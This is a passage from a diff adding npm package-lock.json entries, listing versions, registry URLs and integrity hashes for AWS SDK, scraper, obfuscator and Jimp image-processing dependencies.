"@smithy/credential-provider-imds": "^2.0.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/middleware-host-header": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.410.0.tgz", + "integrity": "sha512-ED/OVcyITln5rrxnajZP+V0PN1nug+gSDHJDqdDo/oLy7eiDr/ZWn3nlWW7WcMplQ1/Jnb+hK0UetBp/25XooA==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/protocol-http": "^3.0.2", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/middleware-logger": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.410.0.tgz", + "integrity": "sha512-YtmKYCVtBfScq3/UFJk+aSZOktKJBNZL9DaSc2aPcy/goCVsYDOkGwtHk0jIkC1JRSNCkVTqL7ya60sSr8zaQQ==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/middleware-recursion-detection": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.410.0.tgz", + "integrity": "sha512-KWaes5FLzRqj28vaIEE4Bimpga2E596WdPF2HaH6zsVMJddoRDsc3ZX9ZhLOGrXzIO1RqBd0QxbLrM0S/B2aOQ==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/protocol-http": "^3.0.2", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-sts": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-sts/-/middleware-sdk-sts-3.410.0.tgz", + "integrity": "sha512-YfBpctDocRR4CcROoDueJA7D+aMLBV8nTFfmVNdLLLgyuLZ/AUR11VQSu1lf9gQZKl8IpKE/BLf2fRE/qV1ZuA==", + "optional": true, + "dependencies": { + "@aws-sdk/middleware-signing": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/middleware-signing": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-signing/-/middleware-signing-3.410.0.tgz", + "integrity": "sha512-KBAZ/eoAJUSJv5us2HsKwK2OszG2s9FEyKpEhgnHLcbbKzW873zHBH5GcOGEQu4AWArTy2ndzJu3FF+9/J9hJQ==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/property-provider": "^2.0.0", + "@smithy/protocol-http": "^3.0.2", + "@smithy/signature-v4": "^2.0.0", + "@smithy/types": "^2.3.0", + "@smithy/util-middleware": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/middleware-user-agent": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.410.0.tgz", + "integrity": "sha512-ZayDtLfvCZUohSxQc/49BfoU/y6bDHLfLdyyUJbJ54Sv8zQcrmdyKvCBFUZwE6tHQgAmv9/ZT18xECMl+xiONA==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@aws-sdk/util-endpoints": "3.410.0", + "@smithy/protocol-http": "^3.0.2", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/token-providers": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.410.0.tgz", + "integrity": "sha512-d5Nc0xydkH/X0LA1HDyhGY5sEv4LuADFk+QpDtT8ogLilcre+b1jpdY8Sih/gd1KoGS1H+d1tz2hSGwUHAbUbw==", + "optional": true, + "dependencies": { + "@aws-crypto/sha256-browser": "3.0.0", + "@aws-crypto/sha256-js": "3.0.0", + "@aws-sdk/middleware-host-header": "3.410.0", + "@aws-sdk/middleware-logger": "3.410.0", + "@aws-sdk/middleware-recursion-detection": "3.410.0", + "@aws-sdk/middleware-user-agent": "3.410.0", + "@aws-sdk/types": "3.410.0", + "@aws-sdk/util-endpoints": "3.410.0", + "@aws-sdk/util-user-agent-browser": "3.410.0", + "@aws-sdk/util-user-agent-node": "3.410.0", + "@smithy/config-resolver": "^2.0.7", + "@smithy/fetch-http-handler": "^2.1.2", + "@smithy/hash-node": "^2.0.6", + "@smithy/invalid-dependency": "^2.0.6", + "@smithy/middleware-content-length": "^2.0.8", + "@smithy/middleware-endpoint": "^2.0.6", + "@smithy/middleware-retry": "^2.0.9", + "@smithy/middleware-serde": "^2.0.6", + "@smithy/middleware-stack": "^2.0.0", + "@smithy/node-config-provider": "^2.0.9", + "@smithy/node-http-handler": "^2.1.2", + "@smithy/property-provider": "^2.0.0", + "@smithy/protocol-http": "^3.0.2", + "@smithy/shared-ini-file-loader": "^2.0.6", + "@smithy/smithy-client": "^2.1.3", + "@smithy/types": "^2.3.0", + "@smithy/url-parser": "^2.0.6", + "@smithy/util-base64": "^2.0.0", + "@smithy/util-body-length-browser": "^2.0.0", + "@smithy/util-body-length-node": "^2.1.0", + "@smithy/util-defaults-mode-browser": "^2.0.7", + "@smithy/util-defaults-mode-node": "^2.0.9", + "@smithy/util-retry": "^2.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/types": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.410.0.tgz", + "integrity": "sha512-D7iaUCszv/v04NDaZUmCmekamy6VD/lKozm/3gS9+dkfU6cC2CsNoUfPV8BlV6dPdw0oWgF91am3I1stdvfVrQ==", + "optional": true, + "dependencies": { + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/util-endpoints": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.410.0.tgz", + "integrity": "sha512-iNiqJyC7N3+8zFwnXUqcWSxrZecVZLToo1iTQQdeYL2af1IcOtRgb7n8jpAI/hmXhBSx2+3RI+Y7pxyFo1vu+w==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/util-locate-window": { + "version": "3.310.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.310.0.tgz", + "integrity": "sha512-qo2t/vBTnoXpjKxlsC2e1gBrRm80M3bId27r0BRB2VniSSe7bL1mmzM+/HFtujm0iAxtPM+aLEflLJlJeDPg0w==", + "optional": true, + "dependencies": { + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/util-user-agent-browser": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.410.0.tgz", + "integrity": "sha512-i1G/XGpXGMRT2zEiAhi1xucJsfCWk8nNYjk/LbC0sA+7B9Huri96YAzVib12wkHPsJQvZxZC6CpQDIHWm4lXMA==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/types": "^2.3.0", + "bowser": "^2.11.0", + "tslib": "^2.5.0" + } + }, + "node_modules/@aws-sdk/util-user-agent-node": { + "version": "3.410.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.410.0.tgz", + "integrity": "sha512-bK70t1jHRl8HrJXd4hEIwc5PBZ7U0w+81AKFnanIVKZwZedd6nLibUXDTK14z/Jp2GFcBqd4zkt2YLGkRt/U4A==", + "optional": true, + "dependencies": { + "@aws-sdk/types": "3.410.0", + "@smithy/node-config-provider": "^2.0.9", + "@smithy/types": "^2.3.0", + "tslib": "^2.5.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "aws-crt": ">=1.0.0" + }, + "peerDependenciesMeta": { + "aws-crt": { + "optional": true + } + } + }, + "node_modules/@aws-sdk/util-utf8-browser": { + "version": "3.259.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-utf8-browser/-/util-utf8-browser-3.259.0.tgz", + "integrity": "sha512-UvFa/vR+e19XookZF8RzFZBrw2EUkQWxiBW0yYQAhvk3C+QVGl0H3ouca8LDBlBfQKXwmW3huo/59H8rwb1wJw==", + "optional": true, + "dependencies": { + "tslib": "^2.3.1" + } + }, + "node_modules/@babel/runtime": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.10.tgz", + "integrity": "sha512-21t/fkKLMZI4pqP2wlmsQAWnYW1PDyKyyUV4vCi+B25ydmdaYTKXPwCj0BzSUnZf4seIiYvSA3jcZ3gdsMFkLQ==", + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime/node_modules/regenerator-runtime": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.0.tgz", + "integrity": "sha512-srw17NI0TUWHuGa5CFGGmhfNIeja30WMBfbslPNhf6JrqQlLN5gcrvig1oqPxiVaXb0oW0XRKtH6Nngs5lKCIA==" + }, + "node_modules/@bochilteam/scraper": { + "version": "4.0.22-alpha.0", + "resolved": "https://registry.npmjs.org/@bochilteam/scraper/-/scraper-4.0.22-alpha.0.tgz", + "integrity": "sha512-Y+TvEkbNIVpt4tuT/nXg+5RcPNIMiesI+yiF8zNlsUjLkDFGPto8vHCMSccLbTNwUSyd3DARiBB5dTR6TYXB1Q==", + "dependencies": { + "cheerio": "1.0.0-rc.12", + "form-data": "^4.0.0", + "got": "^11.8.3", + "human-readable": "^0.2.1", + "rimraf": "^3.0.2", + "similarity": "^1.2.1", + "zod": "^3.20.2" + }, + "engines": { + "node": ">= 12.20" + }, + "optionalDependencies": { + "ws": "^8.4.2" + } + }, + "node_modules/@cspotcode/source-map-support": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", + "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", + "dependencies": { + "@jridgewell/trace-mapping": "0.3.9" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@eshaz/web-worker": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@eshaz/web-worker/-/web-worker-1.2.1.tgz", + "integrity": "sha512-v5AKAVtM0toVD2rDCGjzhySWlXG/sG5HVialdzrxFKTAnFZNCjQelX0n2tPK0tE86jf4s3hpWlpRtOh8OObktg==" + }, + "node_modules/@hapi/boom": { + "version": "9.1.4", + "resolved": "https://registry.npmjs.org/@hapi/boom/-/boom-9.1.4.tgz", + "integrity": "sha512-Ls1oH8jaN1vNsqcaHVYJrKmgMcKsC1wcp8bujvXrHaAqD2iDYq3HoOwsxwo09Cuda5R5nC0o0IxlrlTuvPuzSw==", + "dependencies": { + "@hapi/hoek": "9.x.x" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==" + }, + "node_modules/@javascript-obfuscator/escodegen": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@javascript-obfuscator/escodegen/-/escodegen-2.3.0.tgz", + "integrity": "sha512-QVXwMIKqYMl3KwtTirYIA6gOCiJ0ZDtptXqAv/8KWLG9uQU2fZqTVy7a/A5RvcoZhbDoFfveTxuGxJ5ibzQtkw==", + "dependencies": { + "@javascript-obfuscator/estraverse": "^5.3.0", + "esprima": "^4.0.1", + "esutils": "^2.0.2", + "optionator": "^0.8.1" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/@javascript-obfuscator/estraverse": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@javascript-obfuscator/estraverse/-/estraverse-5.4.0.tgz", + "integrity": "sha512-CZFX7UZVN9VopGbjTx4UXaXsi9ewoM1buL0kY7j1ftYdSs7p2spv9opxFjHlQ/QGTgh4UqufYqJJ0WKLml7b6w==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@jimp/bmp": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/bmp/-/bmp-0.16.13.tgz", + "integrity": "sha512-9edAxu7N2FX7vzkdl5Jo1BbACfycUtBQX+XBMcHA2bk62P8R0otgkHg798frgAk/WxQIzwxqOH6wMiCwrlAzdQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "bmp-js": "^0.1.0" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/core": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/core/-/core-0.16.13.tgz", + "integrity": "sha512-qXpA1tzTnlkTku9yqtuRtS/wVntvE6f3m3GNxdTdtmc+O+Wcg9Xo2ABPMh7Nc0AHbMKzwvwgB2JnjZmlmJEObg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "any-base": "^1.1.0", + "buffer": "^5.2.0", + "exif-parser": "^0.1.12", + "file-type": "^16.5.4", + "load-bmfont": "^1.3.1", + "mkdirp": "^0.5.1", + "phin": "^2.9.1", + "pixelmatch": "^4.0.2", + "tinycolor2": "^1.4.1" + } + }, + "node_modules/@jimp/core/node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/@jimp/custom": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/custom/-/custom-0.16.13.tgz", + "integrity": "sha512-LTATglVUPGkPf15zX1wTMlZ0+AU7cGEGF6ekVF1crA8eHUWsGjrYTB+Ht4E3HTrCok8weQG+K01rJndCp/l4XA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/core": "^0.16.13" + } + }, + "node_modules/@jimp/gif": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/gif/-/gif-0.16.13.tgz", + "integrity": "sha512-yFAMZGv3o+YcjXilMWWwS/bv1iSqykFahFMSO169uVMtfQVfa90kt4/kDwrXNR6Q9i6VHpFiGZMlF2UnHClBvg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "gifwrap": "^0.9.2", + "omggif": "^1.0.9" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/jpeg": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/jpeg/-/jpeg-0.16.13.tgz", + "integrity": "sha512-BJHlDxzTlCqP2ThqP8J0eDrbBfod7npWCbJAcfkKqdQuFk0zBPaZ6KKaQKyKxmWJ87Z6ohANZoMKEbtvrwz1AA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "jpeg-js": "^0.4.2" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-blit": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-blit/-/plugin-blit-0.16.13.tgz", + "integrity": "sha512-8Z1k96ZFxlhK2bgrY1JNWNwvaBeI/bciLM0yDOni2+aZwfIIiC7Y6PeWHTAvjHNjphz+XCt01WQmOYWCn0ML6g==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-blur": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-blur/-/plugin-blur-0.16.13.tgz", + "integrity": "sha512-PvLrfa8vkej3qinlebyhLpksJgCF5aiysDMSVhOZqwH5nQLLtDE9WYbnsofGw4r0VVpyw3H/ANCIzYTyCtP9Cg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-circle": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-circle/-/plugin-circle-0.16.13.tgz", + "integrity": "sha512-RNave7EFgZrb5V5EpdvJGAEHMnDAJuwv05hKscNfIYxf0kR3KhViBTDy+MoTnMlIvaKFULfwIgaZWzyhuINMzA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-color": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-color/-/plugin-color-0.16.13.tgz", + "integrity": "sha512-xW+9BtEvoIkkH/Wde9ql4nAFbYLkVINhpgAE7VcBUsuuB34WUbcBl/taOuUYQrPEFQJ4jfXiAJZ2H/rvKjCVnQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "tinycolor2": "^1.4.1" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-contain": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-contain/-/plugin-contain-0.16.13.tgz", + "integrity": "sha512-QayTXw4tXMwU6q6acNTQrTTFTXpNRBe+MgTGMDU0lk+23PjlFCO/9sacflelG8lsp7vNHhAxFeHptDMAksEYzg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-blit": ">=0.3.5", + "@jimp/plugin-resize": ">=0.3.5", + "@jimp/plugin-scale": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-cover": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-cover/-/plugin-cover-0.16.13.tgz", + "integrity": "sha512-BSsP71GTNaqWRcvkbWuIVH+zK7b3TSNebbhDkFK0fVaUTzHuKMS/mgY4hDZIEVt7Rf5FjadAYtsujHN9w0iSYA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-crop": ">=0.3.5", + "@jimp/plugin-resize": ">=0.3.5", + "@jimp/plugin-scale": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-crop": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-crop/-/plugin-crop-0.16.13.tgz", + "integrity": "sha512-WEl2tPVYwzYL8OKme6Go2xqiWgKsgxlMwyHabdAU4tXaRwOCnOI7v4021gCcBb9zn/oWwguHuKHmK30Fw2Z/PA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-displace": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-displace/-/plugin-displace-0.16.13.tgz", + "integrity": "sha512-qt9WKq8vWrcjySa9DyQ0x/RBMHQeiVjdVSY1SJsMjssPUf0pS74qorcuAkGi89biN3YoGUgPkpqECnAWnYwgGA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-dither": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-dither/-/plugin-dither-0.16.13.tgz", + "integrity": "sha512-5/N3yJggbWQTlGZHQYJPmQXEwR52qaXjEzkp1yRBbtdaekXE3BG/suo0fqeoV/csf8ooI78sJzYmIrxNoWVtgQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-fisheye": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-fisheye/-/plugin-fisheye-0.16.13.tgz", + "integrity": "sha512-2rZmTdFbT/cF9lEZIkXCYO0TsT114Q27AX5IAo0Sju6jVQbvIk1dFUTnwLDadTo8wkJlFzGqMQ24Cs8cHWOliA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-flip": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-flip/-/plugin-flip-0.16.13.tgz", + "integrity": "sha512-EmcgAA74FTc5u7Z+hUO/sRjWwfPPLuOQP5O64x5g4j0T12Bd29IgsYZxoutZo/rb3579+JNa/3wsSEmyVv1EpA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-rotate": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-gaussian": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-gaussian/-/plugin-gaussian-0.16.13.tgz", + "integrity": "sha512-A1XKfGQD0iDdIiKqFYi8nZMv4dDVYdxbrmgR7y/CzUHhSYdcmoljLIIsZZM3Iks/Wa353W3vtvkWLuDbQbch1w==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-invert": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-invert/-/plugin-invert-0.16.13.tgz", + "integrity": "sha512-xFMrIn7czEZbdbMzZWuaZFnlLGJDVJ82y5vlsKsXRTG2kcxRsMPXvZRWHV57nSs1YFsNqXSbrC8B98n0E32njQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-mask": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-mask/-/plugin-mask-0.16.13.tgz", + "integrity": "sha512-wLRYKVBXql2GAYgt6FkTnCfE+q5NomM7Dlh0oIPGAoMBWDyTx0eYutRK6PlUrRK2yMHuroAJCglICTbxqGzowQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-normalize": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-normalize/-/plugin-normalize-0.16.13.tgz", + "integrity": "sha512-3tfad0n9soRna4IfW9NzQdQ2Z3ijkmo21DREHbE6CGcMIxOSvfRdSvf1qQPApxjTSo8LTU4MCi/fidx/NZ0GqQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-print": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-print/-/plugin-print-0.16.13.tgz", + "integrity": "sha512-0m6i3p01PGRkGAK9r53hDYrkyMq+tlhLOIbsSTmZyh6HLshUKlTB7eXskF5OpVd5ZUHoltlNc6R+ggvKIzxRFw==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "load-bmfont": "^1.4.0" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-blit": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-resize": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-resize/-/plugin-resize-0.16.13.tgz", + "integrity": "sha512-qoqtN8LDknm3fJm9nuPygJv30O3vGhSBD2TxrsCnhtOsxKAqVPJtFVdGd/qVuZ8nqQANQmTlfqTiK9mVWQ7MiQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-rotate": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-rotate/-/plugin-rotate-0.16.13.tgz", + "integrity": "sha512-Ev+Jjmj1nHYw897z9C3R9dYsPv7S2/nxdgfFb/h8hOwK0Ovd1k/+yYS46A0uj/JCKK0pQk8wOslYBkPwdnLorw==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-blit": ">=0.3.5", + "@jimp/plugin-crop": ">=0.3.5", + "@jimp/plugin-resize": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-scale": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-scale/-/plugin-scale-0.16.13.tgz", + "integrity": "sha512-05POQaEJVucjTiSGMoH68ZiELc7QqpIpuQlZ2JBbhCV+WCbPFUBcGSmE7w4Jd0E2GvCho/NoMODLwgcVGQA97A==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-resize": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-shadow": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-shadow/-/plugin-shadow-0.16.13.tgz", + "integrity": "sha512-nmu5VSZ9hsB1JchTKhnnCY+paRBnwzSyK5fhkhtQHHoFD5ArBQ/5wU8y6tCr7k/GQhhGq1OrixsECeMjPoc8Zw==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-blur": ">=0.3.5", + "@jimp/plugin-resize": ">=0.3.5" + } + }, + "node_modules/@jimp/plugin-threshold": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugin-threshold/-/plugin-threshold-0.16.13.tgz", + "integrity": "sha512-+3zArBH0OE3Rhjm4HyAokMsZlIq5gpQec33CncyoSwxtRBM2WAhUVmCUKuBo+Lr/2/4ISoY4BWpHKhMLDix6cA==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5", + "@jimp/plugin-color": ">=0.8.0", + "@jimp/plugin-resize": ">=0.8.0" + } + }, + "node_modules/@jimp/plugins": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/plugins/-/plugins-0.16.13.tgz", + "integrity": "sha512-CJLdqODEhEVs4MgWCxpWL5l95sCBlkuSLz65cxEm56X5akIsn4LOlwnKoSEZioYcZUBvHhCheH67AyPTudfnQQ==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/plugin-blit": "^0.16.13", + "@jimp/plugin-blur": "^0.16.13", + "@jimp/plugin-circle": "^0.16.13", + "@jimp/plugin-color": "^0.16.13", + "@jimp/plugin-contain": "^0.16.13", + "@jimp/plugin-cover": "^0.16.13", + "@jimp/plugin-crop": "^0.16.13", + "@jimp/plugin-displace": "^0.16.13", + "@jimp/plugin-dither": "^0.16.13", + "@jimp/plugin-fisheye": "^0.16.13", + "@jimp/plugin-flip": "^0.16.13", + "@jimp/plugin-gaussian": "^0.16.13", + "@jimp/plugin-invert": "^0.16.13", + "@jimp/plugin-mask": "^0.16.13", + "@jimp/plugin-normalize": "^0.16.13", + "@jimp/plugin-print": "^0.16.13", + "@jimp/plugin-resize": "^0.16.13", + "@jimp/plugin-rotate": "^0.16.13", + "@jimp/plugin-scale": "^0.16.13", + "@jimp/plugin-shadow": "^0.16.13", + "@jimp/plugin-threshold": "^0.16.13", + "timm": "^1.6.1" + }, + "peerDependencies": { + "@jimp/custom": ">=0.3.5" + } + }, + "node_modules/@jimp/png": { + "version": "0.16.13", + "resolved": "https://registry.npmjs.org/@jimp/png/-/png-0.16.13.tgz", + "integrity": "sha512-8cGqINvbWJf1G0Her9zbq9I80roEX0A+U45xFby3tDWfzn+Zz8XKDF1Nv9VUwVx0N3zpcG1RPs9hfheG4Cq2kg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "@jimp/utils": "^0.16.13", + "pngjs": "^3.3.3" + }, + "peerDependencies": { + "@jimp/custom": 